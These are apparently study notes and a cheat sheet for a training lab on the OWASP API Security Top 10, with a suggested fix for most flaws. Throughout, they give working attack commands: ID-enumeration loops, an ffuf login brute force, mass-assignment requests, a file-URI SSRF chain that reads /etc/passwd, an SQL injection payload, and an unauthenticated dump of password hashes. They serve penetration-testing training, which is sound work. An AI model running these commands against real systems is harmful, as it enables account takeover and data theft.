API Attacks — Exploiting the OWASP API Security Top 10 on a REST API (HTB CWES)
Built from the API Attacks module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every command, endpoint and payload kept, condensed. Labs and lessons are on HTB Academy.
APIs are the backbone of modern apps and a huge attack surface. This module works through the OWASP API Security Top 10 (2023) against a RESTful API (ASP.NET Core, the Inlanefreight E-Commerce Marketplace) with RBAC — roles named after the endpoints they unlock (e.g. role Suppliers_GetAll → /api/v1/suppliers). The whole API (60+ endpoints) is explored through a Swagger UI at /swagger: authenticate once with a JWT (sign in, copy token, Authorize, paste), then every request carries it. The recon reflex throughout: current-user endpoints tell you who you are (/customers/current-user, /supplier-companies/current-user) and what you can do (/roles/current-user).
1. API1 — Broken Object Level Authorization (BOLA / IDOR)
The #1 API flaw: the endpoint authenticates you but never checks that the object you request is yours. You're authorized to use the endpoint; you just change the ID.
Here /api/v1/supplier-companies/yearly-reports/{ID} takes an integer ID. Your company is b75a7c76-…, but ID=1 returns a report for company f9e58492-… — someone else's. Enumerate the ID to mass-harvest every report with a for loop + jq:
for ((i=1; i<=20; i++)); do
curl -s -w "\n" -X GET \
"http://TARGET/api/v1/supplier-companies/yearly-reports/$i" \
-H 'accept: application/json' \
-H 'Authorization: Bearer eyJ...<JWT>' | jq
done
Fix: server-side, compare the resource's companyID to the authenticated user's companyID; deny on mismatch.
2. API2 — Broken Authentication
Any auth mechanism that can be bypassed/circumvented. Here the sign-in endpoint has no rate limiting (CWE-307) and a weak password policy (min 6 chars, no complexity) — the PATCH /customers/current-user validation message leaks the policy (123456 is accepted). So customer passwords are brute-forceable.
Grab the failure string first (Invalid Credentials), then fuzz two ffuf keywords at once — password list × target-email list — filtering out the fail regex:
ffuf -w /opt/useful/seclists/Passwords/xato-net-10-million-passwords-10000.txt:PASS \
-w customerEmails.txt:EMAIL \
-u http://TARGET/api/v1/authentication/customers/sign-in -X POST \
-H "Content-Type: application/json" \
-d '{"Email": "EMAIL", "Password": "PASS"}' \
-fr "Invalid Credentials" -t 100
# * EMAIL: IsabellaRichardson@gmail.com * PASS: qwerasdfzxcv
Where strong passwords block this, pivot to brute-forcing OTPs or security-question answers (low entropy, often no rate limit). Fix: rate-limit per IP/account, enforce a strong policy, add MFA.
3. API3 — Broken Object Property Level Authorization
Two sub-flaws at the property level.
Excessive Data Exposure (CWE-213): the endpoint returns fields the caller shouldn't see. /api/v1/suppliers hands customers each supplier's email and phoneNumber — enough to bypass the marketplace and deal direct. Fix: return a DTO with only the intended fields, not the raw domain model.
Mass Assignment (CWE-915): the endpoint lets you write a field you shouldn't. PATCH /api/v1/supplier-companies accepts isExemptedFromMarketplaceFee — set it 1 and your company stops paying fees:
curl -X PATCH http://TARGET/api/v1/supplier-companies \
-H 'Authorization: Bearer eyJ...' -H 'Content-Type: application/json' \
-d '{"supplierCompanyID":"b75a7c76-...","isExemptedFromMarketplaceFee":1}'
Fix: a request DTO that excludes sensitive properties.
4. API4 — Unrestricted Resource Consumption
No limit on bandwidth/CPU/memory/storage per request. The certificate-upload endpoint validates neither size nor extension and stores files forever:
dd if=/dev/urandom of=certificateOfIncorporation.pdf bs=1M count=30 # 30 MB junk "PDF"
dd if=/dev/urandom of=reverse-shell.exe bs=1M count=10 # .exe accepted too
Repeating the upload can exhaust disk (DoS). Worse, files land in ASP.NET Core's wwwroot, which is public by default, so uploads are directly downloadable — a malware-hosting / enumeration primitive:
curl -O http://TARGET/SupplierCompaniesCertificatesOfIncorporations/reverse-shell.exe
Fix: validate size + extension + content, scan with ClamAV, lock down wwwroot.
5. API5 — Broken Function Level Authorization (BFLA)
Unlike BOLA (you may use the endpoint, wrong object), BFLA = you use an endpoint/function you were never authorized for. /api/v1/products/discounts is documented as requiring the ProductDiscounts_GetAll role; the current user has no roles at all — yet invoking it still returns every discount. The RBAC check simply wasn't implemented. Fix: enforce the role check server-side before processing.
6. API6 — Unrestricted Access to Sensitive Business Flows
A sensitive business operation exposed without guard-rails. The discount data leaked via BFLA reveals exactly when a product goes 70% off and for how long. Combine with an un-rate-limited purchase endpoint (API4) → buy all stock the moment the discount opens and resell at full price. Fix: strict access control on business-critical endpoints.
7. API7 — Server-Side Request Forgery (SSRF)
User-controlled input fetched by the server without validation (CWE-918). Here it's an exploit chain built from a file-URI field plus mass assignment: upload to learn the file:// scheme the API stores paths in, PATCH that field to a local path, then read it back base64-encoded.
# 2 · point the stored path at a local file (mass assignment on PATCH)
curl -X PATCH http://TARGET/api/v1/supplier-companies \
-H 'Authorization: Bearer eyJ...' -H 'Content-Type: application/json' \
-d '{"supplierCompanyID":"b75a7c76-...","certificateOfIncorporationPDFFileURI":"file:///etc/passwd"}'
# 3 · read it back — response carries base64Data
curl -s http://TARGET/api/v1/supplier-companies/<ID>/certificates-of-incorporation | jq -r .base64Data | base64 -d
The backend never validates the path, so it returns /etc/passwd (then /etc/shadow, etc.). Fix: confine both the PATCH field and the GET reader to wwwroot/SupplierCompaniesCertificatesOfIncorporations/ only.
8. API8 — Security Misconfiguration (incl. SQL Injection)
APIs inherit classic web misconfigs. /api/v1/products/{Name}/count concatenates Name straight into SQL (CWE-89). A trailing quote laptop' throws an error → injectable. Boolean-OR to dump the full row count:
GET /api/v1/products/laptop'%20OR%201=1%20--/count → productsCount: 720 (vs 18 for "laptop")
Also in scope: missing/weak HTTP security headers (e.g. a lax Access-Control-Allow-Origin CORS policy → CSRF exposure). Fix: parameterized queries / ORM, and secure headers (OWASP Secure Headers).
9. API9 — Improper Inventory Management
Old API versions left exposed. The Swagger "Select a definition" drop-down lists a v0 labelled legacy/backup — and its endpoints have no lock icon (no auth). /api/v0/customers/deleted dumps deleted customers including password hashes:
curl -s http://TARGET/api/v0/customers/deleted | jq
Crack the hashes → password reuse likely re-compromises active v1 accounts. Fix: remove/deprecate v0, or restrict it to local use / admin-only auth.
10. API10 — Unsafe Consumption of APIs
When your API blindly trusts a third-party API it consumes (reliance on an insufficiently trustworthy component, CWE-1357). Risks: unencrypted transmission, inadequate validation of returned data (→ injection / RCE downstream), weak auth to the upstream, no rate limiting, poor monitoring. Fix: encrypt channels, validate/sanitize everything received, authenticate to upstreams, rate-limit and monitor.
11. What to carry into the CWES exam
- Map the target to the OWASP API Top 10 and let Swagger +
current-user/rolesrecon drive you: who am I, what roles, which endpoints match them. - BOLA vs BFLA: BOLA = right endpoint, change the ID (loop +
jqto mass-harvest); BFLA = call an endpoint you have no role for and see if the check is missing. - Object property flaws: diff responses for over-exposed fields (Excessive Data Exposure); diff the write schema for fields you can set but shouldn't (Mass Assignment —
isExemptedFromMarketplaceFee). ffufwith two keywords (:EMAIL/:PASS) brute-forces API logins; always grab the fail string for-fr.- Uploads: test size and extension; check where files land (
wwwroot= public in ASP.NET Core). - SSRF via file URIs + mass assignment is a chain — upload to learn the scheme, PATCH to
file:///etc/passwd, GET to read base64. - Always probe
'for SQLi, and enumerate other API versions (v0/v2) in the Swagger definition drop-down.
Cheatsheet — API Attacks
Recon (Swagger + JWT)
/swagger → UI, 60+ endpoints, version drop-down (v0/v1/v2)
POST /api/v1/authentication/{customers|suppliers}/sign-in → JWT ; Authorize → paste
GET /api/v1/{customers|supplier-companies}/current-user → who am I (+ companyID)
GET /api/v1/roles/current-user → my roles (role name == endpoint)
BOLA / mass-harvest
for ((i=1;i<=20;i++)); do curl -s -w "\n" -X GET "http://T/api/v1/supplier-companies/yearly-reports/$i" -H "Authorization: Bearer $JWT" | jq; done
Broken auth brute force (two ffuf keywords)
ffuf -w passwords.txt:PASS -w emails.txt:EMAIL -u http://T/api/v1/authentication/customers/sign-in -X POST \
-H "Content-Type: application/json" -d '{"Email":"EMAIL","Password":"PASS"}' -fr "Invalid Credentials" -t 100
Mass assignment / SSRF (file URI)
curl -X PATCH http://T/api/v1/supplier-companies -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
-d '{"supplierCompanyID":"<GUID>","isExemptedFromMarketplaceFee":1}'
curl -X PATCH http://T/api/v1/supplier-companies -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
-d '{"supplierCompanyID":"<GUID>","certificateOfIncorporationPDFFileURI":"file:///etc/passwd"}'
curl -s http://T/api/v1/supplier-companies/<ID>/certificates-of-incorporation | jq -r .base64Data | base64 -d
Upload / resource consumption
dd if=/dev/urandom of=big.pdf bs=1M count=30 # no size check
dd if=/dev/urandom of=x.exe bs=1M count=10 # no extension check
curl -O http://T/SupplierCompaniesCertificatesOfIncorporations/x.exe # wwwroot is public
SQLi / legacy version
GET /api/v1/products/laptop' OR 1=1 --/count # URL-encode: laptop'%20OR%201=1%20--
GET /api/v0/customers/deleted # unauthenticated → password hashes
Built from HTB Academy's API Attacks module — labs, lessons and the CWES exam are on HTB Academy.